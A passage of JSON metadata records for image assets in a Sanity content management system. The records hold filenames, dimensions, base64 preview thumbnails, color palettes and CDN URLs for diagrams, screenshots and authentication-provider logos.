{"_createdAt":"2024-06-26T20:46:14Z","_id":"image-78dfe6caf2e8ba68b361e5881a908117179386cd-1754x635-png","_rev":"FWfcFyz4v76XPZNTIGFc2j","_type":"sanity.imageAsset","_updatedAt":"2024-06-26T20:46:14Z","assetId":"78dfe6caf2e8ba68b361e5881a908117179386cd","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D17_5Q007G?]0@%6t09Zs+^*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.762204724409449,"height":635,"width":1754},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAACToAAAk6AGCYwUcAAAByUlEQVQokTWQW2/SAABG+RO6YCJ3KHQtbSmUthQQhWVGI8nEZYkPbk8DlI3MOQ2L3NoN3BwUTHyav/WYbfrwvZ585wSCsX2iYpuE9IlQqstG+JBHoUOexHsks2coxSGKOUaxpmj2BZLhEZMnhDJjUuolinWD5vhkrRWCviQg5HoIWu8eGEl/JBhr8zjc5qnQJ28O2WrMMRwX1ZryYuua540bMvoFScXFrM6o1K/JOUvEok8ytyRQejUmXxsgFU4QlD7xzWNSYh9ZPaNWc2k1F5Sql2jWlOabJc3mGsWco5Xm7Owt2H3v4zTWZO31w0O76aLXz5GLn0mrfRT9C9vVMa+fuZTLE8o1j3zJJWtOsGszSrUrVPsHdsPn7f4trYM/VF7+RnN+kc77BPTGCNn5RibXJykfIWmnNCojtqtT8uZ3FPOhoVgYIxlTZMNDMmbYdZ/Wh1ve/QOq/4GyOSCjnyIoxySkI6LpHvFMH1H9StY4R7NHKNaEzcIYuegiFz0EzUO15+y0FuzurSjV10jWitRdw3C6S1joEE53CAldgtE2G5EOEfEEUR8gG8N7XbEwIaPfzSWpeqRUj4Izw6peIRd/ktIXJNQFfwEjtQqlngmvrAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#42498a","foreground":"#fff","population":3.31,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04207c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1b2887","foreground":"#fff","population":8.96,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9bad2","foreground":"#000","population":6.52,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c9dd5","foreground":"#000","population":1.72,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#666ca6","foreground":"#fff","population":3.76,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b2887","foreground":"#fff","population":8.96,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"change data capture.PNG","path":"images/sczeoy4w/production/78dfe6caf2e8ba68b361e5881a908117179386cd-1754x635.png","sha1hash":"78dfe6caf2e8ba68b361e5881a908117179386cd","size":187481,"uploadId":"YlimULgbLTJ9LW0RtdyaaMYektIBjLqS","url":"https://cdn.sanity.io/images/sczeoy4w/production/78dfe6caf2e8ba68b361e5881a908117179386cd-1754x635.png"} {"_createdAt":"2024-09-13T14:13:47Z","_id":"image-907b109859c7c50cbd2b57e47816045d018cb075-2160x904-png","_rev":"2eqiUp79DxBCItwrHsazv7","_type":"sanity.imageAsset","_updatedAt":"2024-09-13T14:13:47Z","assetId":"907b109859c7c50cbd2b57e47816045d018cb075","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MZJa.wxtI-kWIW~q-;InWVt700tSVtV@%L","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.3893805309734515,"height":904,"width":2160},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAABYlAAAWJQFJUiTwAAACk0lEQVQokQGIAnf9AOzs7Dzy8vKj9PT01vX19dn19fXL9PPzfO3r8EPq7fmL6+z61Ovl9tzr5fbc7Oz60Ovu+YLo6vMgyr6gAPDw7ALu7OUC6+niAujl3AHSzbwAAO3t7kXz8/O79PT09fP09Pnz8/Pq9PHvlO3n6VHl6Pme4dXw79ys1vngrNT55NTu7eXp+Zjk6PIy5ebvLObp9Efm6fVM5un1SOXo8jHj5ewOAO/v7kfy8vHC8vLy/vPz8//19fTz9/Lvm+/l5lbm6Pmk3Mjq9tCJwv/Wh7//4sXm9ebn+Z/l5u9I3+Lwdtrf8rvX3PHH2d3xwN7i84vk5/EsANTV20bV1t3A1tfd+9fY3//b2+Lw3dremdfO1FXP0eWjyL/f9L6Xxv7ClcT+y7zc88/Q5J7a1uBR3N/wmtLY7vLL0er/ztTs+9re8rvk5/RAAHN3mEd5fZ3CgYWj/oWJpv9/g6Lzen2dmXd3mFJ3fKGjfICm94B+pv+AfqX/fH+l9XZ7oJ+lpr1L4eTzhdne8NjT2Ont1trt497j9KXk5/M4AB4mXUQpMGW5PEJz8kNJePYzOmznIythkCIpYE0yOWybP0V160hPfPVHTnz1PUN06S41aZdYXoc25OfyPt3g6nHZ2+OL3N/oe+Hk8E7h5O0aAAsTUCsXHlh2KTBlmjA3ap0hKF+UEBhTXBEZVDEmLWNjMDdqljU7bpw0O22cLTRolSAnX2AgJ14b3N3hB9HR1RPR0tIe1NTWF9bX3ArT1NkDABMbVQkXH1kYHSRcIB4mXiAbIlseFR1XExYeWAofJl4UIShfHx8nXyAfJl4gHiZeHhsjXBQQGFQF3N7oAP39+QDw7eEA8fDtAPP0+ADw8fUAwUGcySFyf9QAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#31365e","foreground":"#fff","population":0.27,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc0c70","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#31365e","foreground":"#fff","population":0.27,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a0a1d6","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef8bcf","foreground":"#000","population":0.14,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b25c98","foreground":"#fff","population":0.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f02c86","foreground":"#fff","population":0.2,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Address AI bias - landscape transparent.png","path":"images/sczeoy4w/production/907b109859c7c50cbd2b57e47816045d018cb075-2160x904.png","sha1hash":"907b109859c7c50cbd2b57e47816045d018cb075","size":101042,"uploadId":"UFS1gQi6usMWKTKqgZqTVjusp1NRlHwI","url":"https://cdn.sanity.io/images/sczeoy4w/production/907b109859c7c50cbd2b57e47816045d018cb075-2160x904.png"} {"_createdAt":"2024-02-12T07:25:42Z","_id":"image-991605d6c514f0b9577bb7b107900301d04ae2a8-2014x1430-png","_rev":"aqN8LslQ3cZYmtCXJ0AHpr","_type":"sanity.imageAsset","_updatedAt":"2024-02-12T07:26:05Z","altText":"Screenshot of the pgadmin tool's Query Tool, showing a SELECT * query returning the data we migrated.","assetId":"991605d6c514f0b9577bb7b107900301d04ae2a8","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V3Ss51~W%LR%4n4;M{IoW;Rj01_2x]bcWUW??G%NIoIo","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4083916083916084,"height":1430,"width":2014},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAAsTAAALEwEAmpwYAAABmElEQVQokY2RWQ7cIBBEff97ZmKbfWloesERY2c0ihIppfpAiNdQxRZiss5XABZhGhhcc6YB5FqNsftujsMcpzMuGp+Nz6dLuwm7cdaHLdZ2umB8LG00koYDOsIgn+uP1/Hjtf/cz9N4F7KP1YZ8GP/a7fHe2QqyCeV1ep+hDm08gbWShtKO0x2HtcbFVAp0aFig+1isTzEDNNxINFc4jQsx9kGsU3SyzIaUM9QMrbbekZhFlEVxUEciFtW5qSq0aq0JwSOiql7XNeckkt4XoqLLc15vTZ1L7/WCG1TnTIyRiO79G8bBqg/z0fw9ZcEiAiU7a1JKIvI58V8w8yjZW3vWWr/hQQxtrHjERMwrs6hOXZq3N2GqJaYUEPEzdc6JSCEWF5L30YeYcgboOHh8eWUmwjHGXdVHxFIK+BCNsda6GNMDk3y83fd8J7n1HkqttZxzKQXx/p/nwc+z/2C+i1FVZh5jENEK+uh6e+mfsKqKCLO8y1p9rcbkaUtERfTv8LwuFukdoXVovUKvtdXaWh+IhEi9D4D+CzIlL2jLndF1AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#454849","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5e2626","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#454849","foreground":"#fff","population":0.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9cccb4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fce1e9","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8b7870","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bd5c5d","foreground":"#fff","population":0.06,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"pgadmin-verify.png","path":"images/sczeoy4w/production/991605d6c514f0b9577bb7b107900301d04ae2a8-2014x1430.png","sha1hash":"991605d6c514f0b9577bb7b107900301d04ae2a8","size":77957,"title":null,"uploadId":"R5uZB4wH48jJvK1DZYu7dahNRZkidZJc","url":"https://cdn.sanity.io/images/sczeoy4w/production/991605d6c514f0b9577bb7b107900301d04ae2a8-2014x1430.png"} {"_createdAt":"2024-07-05T07:23:44Z","_id":"image-2aadb73ffc8ecbc3747f4ba5ca1705b1e1f9e776-38x48-png","_rev":"GIOwkysrijyYbzGkS8KyU8","_type":"sanity.imageAsset","_updatedAt":"2024-07-05T07:23:44Z","assetId":"2aadb73ffc8ecbc3747f4ba5ca1705b1e1f9e776","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"d009jvfQfQfQfQfQfQfQfQfQfQfQfQfQfQfQfQfQfQfQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.7916666666666666,"height":48,"width":38},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAZCAYAAAAxFw7TAAAACXBIWXMAAAsTAAALEwEAmpwYAAACuElEQVQ4jZXVa8iecxwH8A9r1oQeNmeazVZb06w0lg1lVk6FNmubttGEqGHLIV44JHlByQuWw0pCkTI5vOAFIltIYdGklRUPOcyD2R523/qt712Xq/t+4ld3d9d1/a7v/3f4fr8X/44DMAGTMAMLcDZOxok4E+dgNo7GRByoT0xsvLAKd+FxvIJnsRwXYiNex9O4H9dgEabj0BS0/6SLklAAn+I7jGAvtuE6LMO7ufc7fsCXeBOPYGWArcDLGMYedNBt/D7EUpyL1/BX6/kofsY7uKUAH8bOPOzkty//f2Iz5mNmWt6V3F5OJ9c/4dUC3ITvByR9i/twPIZwQ9rstA7v4teMxFN9ALtp/63Md0K2eQaey8vNjrptwOEGYDdz+gwbcFyDDUNhwXs5sNuvwmbLvbnVpu/GLIxr8bTotQ7v47dGhSM9wCczqwLakU3emCWM78PZOmAKrsSL+CrAtZS3K2F95vIMbsN5OKZVWTuq0iOipHUp6gU8VA/nhmOnB6hfVYNiXGR6ahSzUMDWRAnz/gdogR2OU3AJ1mJJPbgp9PgYL+GOnDTU02afODhVXR9db8WWSNAV+AB/NxbzPC7HkX3AygQW47HofCTU2Y57KmFOqNMk667I6FIc0gA7CGelquEGB/fiDZxfSYfFTT5PQi+paPBEWut53kmR4jct+e3EvTihR4G5efnHhj73heBX59Cq7uJwbbQB9kdsb1FzmdXWZfG23Q32/4JH43NH4c6WM41mmdXh5Pawj42bfNTQ6WhmszD02BRVdLPE7XH36f0+BXVjGm7FJxl0Z4DBFtjXeDDjGj8WWWfEebem/S/S0tKIf0/o8gBOi7WNGQU6FdeG8FXhzVid6+Ls7fny1aL+U9TmawlVVdlYkfyCLOWq0Gcs8xgYpYqaa3lgGW0Nv/Q7SJL+AUIK5Eg1oQVeAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":100,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":100,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-auth0.png","path":"images/sczeoy4w/production/2aadb73ffc8ecbc3747f4ba5ca1705b1e1f9e776-38x48.png","sha1hash":"2aadb73ffc8ecbc3747f4ba5ca1705b1e1f9e776","size":485,"uploadId":"ghFMAmLCEw2mXb0VoQJFV8WcExTnFC77","url":"https://cdn.sanity.io/images/sczeoy4w/production/2aadb73ffc8ecbc3747f4ba5ca1705b1e1f9e776-38x48.png"} {"_createdAt":"2024-07-05T07:24:07Z","_id":"image-464fc02ec7c43c5947991a0eb54dacf652749812-47x48-png","_rev":"Y6NNh6Ue45iOdNdcwAHo4K","_type":"sanity.imageAsset","_updatedAt":"2024-07-05T07:24:07Z","assetId":"464fc02ec7c43c5947991a0eb54dacf652749812","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e02?8JofH;V=axRpRpWBawogI7t8R3WAMwRiRjacjXf#MuoeI7bbWB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9791666666666666,"height":48,"width":47},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADP0lEQVQ4jU1VSY9UVRi9RTcgrbQMAk3XO69a6K46rxkk0Yaqc5sIiSZEg70Q4tTibBRQ2BAwjBFHQhAjSkgcNi7catSdAwtXBsKCnX/GfO+dSli81BvuPd93hu9WKqkEKsXvFPsJvUE8PwCqAjUP6hCov0D9B+oEqLXe05rsKnWqQSqr+RqjM5tTAnNCNUidbbEoLwdFg3wM6hSoo6B+BXUb1DFQa0AN120HtardnUvb1l5IZaWUUOVUbMkBNgZqAOosqBugLoBaALULzK8YrG+wVaAOgvoQ1AFQ69vdQaucVUqdhmIsEqhPQV0DtQhqBtQKUKOgHgyqoJaVVR6un3Pxa6CeB7Wu051Lqc3cAjUL6rw/PhMdTM70Y2N0/TCox5pO63UPucgyMG8H82lQX4F6GtR9QXUc1Gum+WJDJ4+AmjKd6OIKqKugPgN12AXGwPkRMMf956a/JQB3gLoE6gyoTe1uSJCjqyOgvgF1EdTbLnrK78Kw3Q31PGY9v451sXnRVJ+1NiutyXVQ74GKgr2obmfDqC/deS+lSEr97RNQPyTffAFq56ZH9iRvumiXA6gN6k1Qp21EmLPoggugllrX46BuJlOIzdOVnoznx63XoXsC/i2oP0A9F8IbOJp41wmINLwK6k5y9YUyqvQUjj9hSgctQcebfwkni14/DNtqI4654+Vu4G4ATkT6S2qkvbUeqb4BDjvAG2zY92FE0dOIDYmir5vFCt//mzZO13MYL8bBwVJ39IFBswH3OVIz/v6+Afdawwl3eD3A1oHaD+qtMAbUatO+6njst2aPurOjNuSdxrBcgnrZLN4YUvwR1C1QJ93Rajt4yZH6yMZdcd4CtOtJ2gfqd1D/xP7kylHxpqMxNTldmzPuzoaBPmOqT4ECmJeAeRTMQfsnUL+F7sm2952tI3Z3MzgYLbq7WhZ9wnlcg55GN0wrFfU857jWW8vodHMquDtAw7nY9ILNiI5iUQHq/gCxuxGPCHFMT+R1qgEeHhZqpbKqj68haMxwCHzZpgRwnIWhZ5gTwY5xDG3PWZIAq0/8OO2bE7t+MUhFcx/Z29OMX/4Z1N/+C/jTOsfEfAfqJVCTBdUqjRHX/5g+MUZJ31P0AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#242c44","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040d1c","foreground":"#fff","population":0.89,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040d1c","foreground":"#fff","population":0.89,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#133e85","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8ab0ee","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#133e85","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1f67df","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-fusion-auth.png","path":"images/sczeoy4w/production/464fc02ec7c43c5947991a0eb54dacf652749812-47x48.png","sha1hash":"464fc02ec7c43c5947991a0eb54dacf652749812","size":720,"uploadId":"m9RIQhZG66cm5F8e3cK4k7oGg30bVoZa","url":"https://cdn.sanity.io/images/sczeoy4w/production/464fc02ec7c43c5947991a0eb54dacf652749812-47x48.png"} {"_createdAt":"2024-07-05T07:24:35Z","_id":"image-67c9baae7ccc0cddbb36097f4245bb85e5bd15b5-49x48-png","_rev":"GIOwkysrijyYbzGkS8LBfU","_type":"sanity.imageAsset","_updatedAt":"2024-07-05T07:24:35Z","assetId":"67c9baae7ccc0cddbb36097f4245bb85e5bd15b5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eWE.9U=mELSl9t{2n.GAbES$I7EpESs6%1GHSbsDr_v}E-w@$xXAjd","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0208333333333333,"height":48,"width":49},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFMUlEQVQ4jUWSe2xURRjFv9JtKS8x0laoQUVAQCiUzne3UMvufgPFmvCwszwKKJGoBKKJRhIiT2M7RQLyhzwEFBWEMrcUy8OGIksMUXwlRQPRBCWAIdCdu0If3mlLtwvX7CLyx8mcnD9+OefLwNVQATiEKUVDDDQhaO7/LysChwqTvldSmjDtqn80OGRBNMjA4VbKp15uQXPIAoiFkiGCE0KIcQuiIQQdYmmacIAmHOEQljiEMxzC2ZqwVBNO0IS5mqyM2FQLND2ARkN+ACcJTEKmWnA5iMmGWZpwtEO42CHc5hA2OoQ/O4RNmvCMJqzRhO9owoAmfCTZ+kYwP7WsOegHaM4vgZZlI8HzAJzSwn6acIpDuMUh/MUhbHUIexzCuw6hpwnvaMJOTfiXJtyrCYOaMFPTvVNFk8BYWSG0vDwKov5JmTpkFWvCTxyONxzChEN42yG8rsk6r8k6pzn+qTm2acIWTVinCekeMLUMmpOTr0AYvKsANyvGjnDKCt93OF7TZN3RHGOasFETrtXcqohyv4hy//Io9+/U3P9plPsrrk0ryf188ca0hWsuwso3G+HovBWQmhr/2tfH3ZI7t/WN4T/+XT4+4UxNNbA14UxN1uDWYH6WNx583qS8Ae2BsU+3BcblJyY//jBu9mD+2kvANnlQWtUGRdID8H4DiJ/yPdZ9vLfs/Gyg0752aOLmwmfOOmWF86JB/4BL+Dxk7PF6FW7y+hdt9AaVVrblznw3+mhpVXsOlyaHSzeHpBnIpfHRmh6Au98DxCO+cfHT6QfiJzO6bh/q124+zN7RumLYyGR7rwbgucqWnKnSLefSXcWlu46kWcOlWculSXmSZhFJMzT0XgeAd6x3ElgUj/i+ip/2JeIRX3P8ZMaq7mNZ2Z4DAOABSTOKpNnFpbnGpRvj0tVcGk3SREmaGyTNYZKmOFTZARA78xDEI+lF8Uh6Q08kPdEd8TV3RDJXxU71zfYu/Q8cQ9LsJWlaSJpOkqaDpIlzaTyS5i5Jc4ak4aFKkwbeN/cm90TSD3REMrsunxzYfqLhiR3VRwpHpCZ7AFTdmkfSfYWku42ku5Oku4+ke46k25UEkzQNJM3kYGryGYDuiC/v5qk+VU2NuXrrsfzEi4f5d4HaWXML1Jz+g/e9BdPWeT5emcjhlT1P8sqeESQ7Z5F0j1K120nSNSTNHpJmNN/gAnjnAHoi6X2ONAwTq4/4f5h5qCzht8tvMVscRCVmMCUGM3tm1sS6gK+gnvWd/PHW0cFNf6yk6vYLXJoESXOVpLuCpMnm1QYA9qwHrwmgom7a8EDtrA2WLa4xFb6DtogxJU4wJdYwFa5ANaecqfCr1v7l24s/2nchuPn327ShpYOq3XqSbpDkPxlUZQAC9ix4qY5g+MEFmRNVuBiV2INKXEclEkyJLqbEdabEeabC55gKX0Q175b/i9cTxbt2dwa2NJ2lDTeXcNk5SCzygJINsw8shmWHA6njF9uz+6ESU5gSW1CJX1GJNlSih9niLrOFl2zObNGFas51a//Shsm7t70W+OD80NLVXtrR1G9wAZgSKWGtgAn15UmfxZQYg0osQSV2oBKNaIufmC2amC2+ZSpcy5RYz5QoxYPzc629b/ca6AFY+5fC9ErvATClg2FAOwyoRBoq8RAqMTLZGG0xg9liNrPFdKZEIarwEKxZkOmBB3lXAEq2fwkFJ3KhdGM3QEH9Cw+A9n2loPfhgLboxe4praBmdioff3wIFO/eDc9ur4WnrgDkGYCQbIF/AcY0ymX4HPq5AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#644c4c","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4bc04","foreground":"#000","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4385ed","foreground":"#fff","population":7.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9cac8c","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4385ed","foreground":"#fff","population":7.53,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c5464","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2bd0f","foreground":"#000","population":3.44,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-google-auth.png","path":"images/sczeoy4w/production/67c9baae7ccc0cddbb36097f4245bb85e5bd15b5-49x48.png","sha1hash":"67c9baae7ccc0cddbb36097f4245bb85e5bd15b5","size":790,"uploadId":"BhcPUXYFaoo6ffxZ4QuU6phFujQamRzX","url":"https://cdn.sanity.io/images/sczeoy4w/production/67c9baae7ccc0cddbb36097f4245bb85e5bd15b5-49x48.png"} {"_createdAt":"2024-02-14T07:10:03Z","_id":"image-45e91d2f5763070e42034d0662ffc7a9a6b7becb-2046x1360-png","_rev":"MAEBctrw3NxoSayYojXQxu","_type":"sanity.imageAsset","_updatedAt":"2024-02-14T07:10:34Z","altText":"CloudKarafka service page with relevant details circled.","assetId":"45e91d2f5763070e42034d0662ffc7a9a6b7becb","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V7SF-E_2u5_3V@%~DjV?M|V?M|tQMyocbc?^WYnNRQx[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5044117647058823,"height":1360,"width":2046},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAABYlAAAWJQFJUiTwAAAB2UlEQVQokVWRTY4cIQyF6/6HygmSdRaJ1DOTTHd1FRjjXwzV1RETRdE8eQGGzzaPZS++gr5nvgIXcYveYrQ+rEVlRWYx9+gxjujDPFiNzdWbtVhKZaiMLMgKJAlpLwSkKFbYgOcC1as2VEfxwjM/k+ILQEGsIiIqpdKWccsFKpMaq88wZ2tsgdr+FiILtla1LcSTi4g+unnDlMvtKvtmkCwny7tDCqbeu0dndTGfV8fwGIuaqdkY43GePTrtG769yK+3+naBy0+4/MTXi+X9iB59iLmqxdSsNWGZ+/54nDEGEzFkLQX3Ld1u++1ats1FHsc0jEWJyD9krS1mrmbRJ9yPh3jTaWaQeCGBSpWlRe/Hw6MTSf2AW2vmsfQ+5tFxnOfZx8HqxFJnaGUlUVZTa+qNtFUxVrMW3rp4LOeHns/n+Xz2PggR1rXc7zUlKeC1OlGjanXOgPPndNrmMeHnP004gvYN3n9z2g1BALQUq2gFLCcBQKw7FCioNvt/gkdrsu91uyuRqzDVikhYGVFz1pwRMeUpxEpsn+EITYnvq0KenXPinLSAY2mQDYAqYcWc4P01v/wo883/x+5dAGi96rZa3jVtnlMrOUoOyI5IxJXqtsL3b+vXL9c/wYXmpiLWQcwAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8b230d","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#781e0c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8980af","foreground":"#fff","population":0.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4bfd0","foreground":"#000","population":0.39,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b590db","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8980af","foreground":"#fff","population":0.69,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f08069","foreground":"#000","population":0.51,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"cloudkarafka-service-overview-details.png","path":"images/sczeoy4w/production/45e91d2f5763070e42034d0662ffc7a9a6b7becb-2046x1360.png","sha1hash":"45e91d2f5763070e42034d0662ffc7a9a6b7becb","size":84863,"title":null,"uploadId":"Y0j80LWLMgmVCBH2QTIIdwwGgGhwtwAu","url":"https://cdn.sanity.io/images/sczeoy4w/production/45e91d2f5763070e42034d0662ffc7a9a6b7becb-2046x1360.png"} {"_createdAt":"2024-12-17T10:49:16Z","_id":"image-80b9a60dd5e4291fdd049de8130af88b0fe09134-1200x630-png","_rev":"NmREjsw3pQxyJ4Tnh4oVjL","_type":"sanity.imageAsset","_updatedAt":"2024-12-17T10:49:16Z","assetId":"80b9a60dd5e4291fdd049de8130af88b0fe09134","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TNf#*aY3+HZP}al8f}iKeUe8Zif,gggg","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACGklEQVR4nEWSbU+SARiFH0BeIlRmA9/RRxA1CLMMFdGt9Q9SC6b4PkFFQCcppSgiCoIhqdP+7H21xy9t5+u1c+77HEXmdDJnZMFMxETUxKKJZROrZtZNbBrY0rGtsNfEUSsXvXLtloqHeoDHIE8hRRZMstZOvI9ELzu97LlIuThQyQ6QdpAwkdCRNPCjhct+qm+pDlEb5i7A/bgiEZukRshNkQtyMsnZNPkg+XEKQY497FiJ60k2cWSXK7fUfFyrlHqoqFQHFYk0S9rHyQz5GfIhDT6bIusl003qDdsWEgYt9rGdkkrZTaGdgoNSJxdORaLNkvFzOkvhC4VZzkJczPDTz343GScHDlJW9ozazUUXZbdc9VFWKfdz2aFI1CZJL8eTnH+m+IXzMBdhiiFOA+Q85FT27aTM5Nq4Urn1cTdKY4y6nxuPIvNNstjCqpN4D0mV3R52O0h1km4n1UamTXNOW/jlpOLVyLvACz9KbUiRr3qZN/PdQvQVS1aWjMT0rOjZMJK0cdjGoZ2snbNu7dWNMWojVL2ac92vyDeLrHfKVq9sdcmmg2ULMR0rOjaNHDooeii6OXdRGuB3gD8ftZ5uBmm853FCkchriauS9EpyQLa7WLX+h7NOKj5uA1x7pTwkjQ88BKm/0/Q4wfP0y0giNhZbWbIRsxIzsmxgzcCGgUwrl15qfkoeysPcT/AU4uGTNq/nMH/D/wAcIVpMV4nSlAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"